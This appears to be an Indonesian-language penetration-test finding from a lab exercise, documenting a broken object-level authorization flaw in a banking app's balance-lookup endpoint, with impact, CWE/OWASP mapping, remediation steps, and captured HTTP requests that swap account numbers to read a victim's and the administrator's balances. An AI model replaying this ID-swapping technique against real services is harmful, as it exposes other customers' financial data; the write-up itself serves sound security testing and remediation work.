Kerentanan
[FAIL] Broken Object Level Authorization - Accounts - Balance Lookup
Deskripsi
Endpoint /check_balance/<account_number> mengembalikan saldo rekening berdasarkan nomor rekening pada path tanpa memeriksa bahwa rekening tersebut milik pemegang token. Token yang valid sudah cukup untuk membaca rekening mana pun.
Dampak
Confidentiality (High): nasabah mana pun dapat membaca nama pemilik dan saldo rekening nasabah lain, termasuk rekening administrator. Nomor rekening juga terekspos pada endpoint lain di aplikasi ini, sehingga pemetaan saldo seluruh nasabah dapat dilakukan secara sistematis.
CWE
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP
A01:2021 - Broken Access Control
Skenario
Normal: penyerang memeriksa saldo rekeningnya sendiri -> wajar. Eksploitasi: nomor rekening diganti dengan milik korban -> HTTP 200, nama dan saldo korban terbaca. Dampak: rekening administrator ADMIN001 juga terbaca dengan cara yang sama.
Endpoint
GET http://127.0.0.1:5001/check_balance/<account_number>
Fitur terdampak
Pengecekan saldo rekening
Rekomendasi perbaikan
- Turunkan nomor rekening dari token pemanggil, bukan dari path.
- Jika parameter dipertahankan, verifikasi kepemilikan rekening sebelum mengembalikan data.
- Hindari nomor rekening yang dapat ditebak dan jangan tampilkan nomor rekening pengguna lain di respons endpoint mana pun.
Bukti konsep
- (Screenshot 1) NORMAL: penyerang memeriksa saldo rekening miliknya sendiri.
- (Screenshot 2) EKSPLOITASI: nomor rekening diganti milik korban -> HTTP 200, nama dan saldo korban terekspos.
- (Screenshot 3) DAMPAK CIA: rekening administrator ADMIN001 dibaca dengan token pengguna biasa.
Rekaman lengkap
LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:12 GMT
{
"account_number": "0932191785",
"balance": -8100.0,
"status": "success",
"username": "pentest_attacker"
}
HTTP request
GET /check_balance/9159912486 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 117
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:13 GMT
{
"account_number": "9159912486",
"balance": 10100.0,
"status": "success",
"username": "pentest_victim"
}
HTTP request
GET /check_balance/ADMIN001 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 108
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:14 GMT
{
"account_number": "ADMIN001",
"balance": 1000000.0,
"status": "success",
"username": "admin"
}
← Kasus sebelumnya: Broken Function Level Authorization - Admin - Administrative Endpoints Kasus berikutnya: Broken Object Level Authorization - GraphQL - Transaction Summary →